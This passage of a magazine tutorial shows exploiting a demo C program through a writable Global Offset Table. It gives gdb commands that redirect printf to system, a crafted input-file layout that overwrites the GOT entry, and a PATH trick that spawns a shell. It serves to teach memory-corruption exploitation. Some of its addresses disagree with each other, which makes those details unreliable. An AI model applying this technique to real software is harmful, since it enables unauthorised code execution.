From debugging to exploiting

Secure Code

Global Offset Table and Lazy Linking

Whenever the MD.c program needs to call a library function, and assuming the MD.e32 binary is dynamically linked, a special look-up table is used to determine the exact address for that particular function.

This lookup table is called the Global Offset Table (GOT). The GOT is populated dynamically [5], which is known as lazy linking. From an attacker's point of view, this means that the table is located in a writable section, as long as RELRO is not active. Even when a binary has been compiled with partial RELRO, some library functions can still be lazily linked and thus be present in the .got.plt section.

To get a look at the .got.plt table, I run MD.e32 inside a gdb session. In all the listings that follow, some output has been removed for readability. If you are not familiar with gdb, you can find a good quick reference online [6].

gdb ./MD.e32
(gdb) mai i sections .got.plt
0x804b5d0->0x804b620 at 0x000025d0:.got.plt ALLOC LOAD DATA HAS_CONTENTS

Clearly, this memory section is writable. To determine the sort of addresses that are stored in each of the .got.plt table entries, you can output the entire content.

Reading the table will allow you to find which functions are being called by your binary that need to be lazily resolved:

(gdb) x/6x 0x804b5d0
0x804b5d0 <_GLOBAL_OFFSET_TABLE_>:
0x804b5e0 <printf@got.plt>:
0x804b5f0 <fwrite@got.plt>:

From this listing, you can infer that the address stored at 0x804b5d0 is the printf function, so whenever your program calls printf, it gets its address from .got.plt. This address is 4 bytes long (32 bits).

Because this section is writable, you can write whatever you want at 0x804b5d0, and any call to printf will then be redirected to whatever happens to be in the address of your choice.

Exploiting the Program

Now it is time to run the program inside a gdb session and exploit it. The goal is to get a shell right before the program ends execution. However, you don't want the program to crash. The first thing to do is to determine which address you must write at the .got.plt entry. One candidate could be the system function; after all, you want to open a shell.

As you saw before, the program ends its execution by calling printf and outputting the string Bye , so a good place to replace the .got.plt table entry for printf with system would be before calling the last printf function. This way, the rest of the program will behave normally:

(gdb) b MD.c:212
(gdb) p system
$11 = {}0xf7e5cc30 <system>
(gdb) set *0x804b5e0 = system

Now, if you resume the program's execution, this is what happens:

(gdb) c
Continuing.
sh: Bye: command not found

As expected, instead of calling printf("Bye"), the code made a call to system("Bye"), because the argument for system, as well as for printf, is popped from the stack and used.

Accordingly, the argument before calling either printf or system is pushed previously onto the stack by their caller. Thus, the stack still holds the address for the Bye string. This needs to be fixed before opening a shell. What you want to have in the stack is an address pointing to a string, such as /bin/bash.

The process address space is full of interesting things. Among them is the /bin/bash string. When running a program within a shell, an environment variable called SHELL contains a string to the shell being used. The process address space inherits this environment as well.

Inside gdb, you can refer to the entire process environment by means of the **environ variable; therefore:

(gdb) p &environ
$4 = (<data variable, no debug info> *) 0xf7f83d64
(gdb) x/100s *environ
0xffffc815:      "SHELL=/bin/bash"

Although you now have the string /bin/bash at 0xffffc815, you don't want the first 6 bytes containing the string SHELL=. Therefore, you need to push this address with an offset of 6 bytes into the stack; that is, 0xffffc815 + 6 = 0xffffc81b:

(gdb) x/s 0xffffc815+6
0xffffc81b:      "/bin/bash"
(gdb) i r esp
esp  0xffffc200  0xffffc200
(gdb) set *0xffffc200 = 0xffffc81b

After resuming the process, you have a shell:

(gdb) c
Continuing.
lm@localhost:~/lm-article$
exit
exit
[Inferior 1 (process 6280) exited normally]

Crafting a Malicious Particle

After studying the vulnerabilities of this code and testing with gdb, now it is time to exploit the program by crafting a special input file. This input file will be read at some point in the program and stored somewhere within the singly linked list as a new item of type PARTICLE.

The call to propagateParticle copies 140 out of 144 bytes to the next particle in the list, and according to Listing 2, nxtParticle is located at the last 4 bytes of the structure, so the idea is to put the address of the .got.plt entry where printf is supposed to be in these last 4 bytes. Aided by any hexadecimal editor, you can write the address, but in reverse, because you are working in a little-endian architecture: D0 B5 04 08.

Remember from the previous section that you want to replace printf with system, which lives at address 0xf765ac30, so in little-endian, that would be 30 AC 65 F7. Now, this must be written in the first 4 bytes in the specially crafted particle, because the first 140 bytes will be written sequentially starting from the address pointed to by the last 4 bytes of the particle (Figure 2).

Figure 2: Crafting a special particle. The .got.plt entry for printf (last 4 bytes) and the address for the system function (first 4 bytes) are highlighted.

If you run the program now within a gdb session, it crashes:

Program received signal SIGSEGV,Segmentation fault.
0xf765ac92 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6

Why? Because you have replaced more than just the address for the printf function inside the .got.plt table. In fact, you have overwritten a total of 136 bytes with garbage and, in doing so, corrupted the memory beyond 0x804b5d0.

All you need to do to fix this is adjust these 136 bytes in the specially crafted particle to accommodate them nicely inside the .got.plt table. The idea is to make sure that no other library function is mistakenly overwritten by this particle by crafting the next 136 bytes accordingly.

Once this amendment is made, you can run the program again. However, and because you now want it to be exploited without manually pushing the /bin/bash string onto the stack, you will need to create a Bye executable file that can spawn a new shell, as follows:

cat Bye
#!/bin/bash
/bin/bash

To make sure this file is in the search path, you also need to give it executable permissions:

chmod +x Bye
export PATH=.:$PATH

Now everything is set up to exploit the program by means of the specially crafted particle. Once again, a shell is spawned instead of getting a boring Bye message, as shown in an online video showing the PoC in action [7].

Buy this article as PDF

Express-Checkout as PDF
Price $2.95
(incl. VAT)

Buy ADMIN Magazine

SINGLE ISSUES
 
SUBSCRIPTIONS
 
TABLET & SMARTPHONE APPS
Get it on Google Play

US / Canada

Get it on Google Play

UK / Australia

Related content

comments powered by Disqus